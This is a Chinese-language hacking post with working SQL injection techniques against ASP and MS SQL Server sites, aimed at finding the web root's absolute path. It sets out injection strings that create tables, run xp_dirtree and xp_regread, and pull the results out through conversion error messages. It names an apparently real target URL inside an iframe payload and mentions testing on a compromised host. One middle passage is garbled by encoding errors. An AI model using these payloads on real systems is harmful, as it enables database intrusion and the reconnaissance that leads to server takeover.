S Q L 注 入 路 徑 問 題

本文作者:未知
下午沒什麼事情
看了看angel寫一個路徑的問章 找了肉雞試了半天
費了牛勁了
我發現如果出現
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'

將 varchar 值 '#SharedObjects' 轉換爲數據類型爲 int 的列時發生語法錯誤。

/html/showdetail_new.asp,行 9
這樣他的方法就不能用了
#必須給屏蔽掉
要飯的得到路徑的方法 偶也試了更是費勁啊
看看其中一句 我暈~
<IFRAME marginWidth=0 marginHeight=0
src="http://music.ty.sx.cn/html/showdetail_new.asp?id=214302; declare @result varchar(255) exec master.dbo.xp_regread '   HKEY_LOCAL_MACHINE','   SYSTEM/ControlSet001/Services/W3svc/Parameters/virtula Roots', '/', @result output insert into cyfd (gyfd) values(@result);--"
frameBorder=0 width=500 scrolling=noshade
height=400></IFRAME>
我要暈了
angel方法手工猜解管理後臺路徑的成功機率很低,要用XP_DIRTREE來得到我們想要的信息,下面的方法或許要簡單一點!第
一次公佈出來,或許很多朋友在用,不過絕對非常好!我們把路徑寫到表裏去!
語句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)--
返回:正常的信息!說明建表成功!繼續!
語句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:/'--
返回:正常信息。說明寫入C盤的所有目錄成功了!爽!接下來就是取表了!暴它出來。
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 錯誤 '80040e07'
將 varchar 值 '@Inetpub' 轉換爲數據類型爲 int 的列時發生語法錯誤。
再依次爆出表中的目錄名稱!
語句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
最後用同樣的方法測試得到網頁目錄放在E:/WEB下
臭要飯寫的!
1.怎麼拿到Web絕對路徑?
呵呵?這個問題,花了我很長時間去研究。大家都知道MS的東西很多都放在註冊表中的,Web位置我們可以在註冊?br />碇械玫劍恢萌縵攏?br />HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots
利用擴展存儲過程xp_regread我們可以取得它的值.
EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/'
這樣,就取出來了,但問題又來了,取是取出來了,我們怎麼在IE中返回它的值呢?我的方法是:先創建一個臨時
表,表中加一字段,類型爲:char 255。呵呵,用它來保存Web絕對路徑的值。表建好後,我們就用讀取註冊表的方法,把返回的值保存在一變量中。
然後向新建的表中加入記錄(即變量的值)。這樣,路徑就寫入到了表中。提交:
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/', @result output insert into 臨時表 (臨時字段名) values( @result );--
然後,我們再提交: 1=(select count(*) from 臨時表 where 臨時字段名>1)
這樣IE報錯,就把剛纔插進去的Web路徑的值報出來了。我也試過直接用變量來報錯,讓IE返回變量的值,結果是失
敗的,所以就想到了建臨時表加數據進去的方法!最後我們再刪除剛建的臨時表。
不要破壞國內主機~lis0在此提醒
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章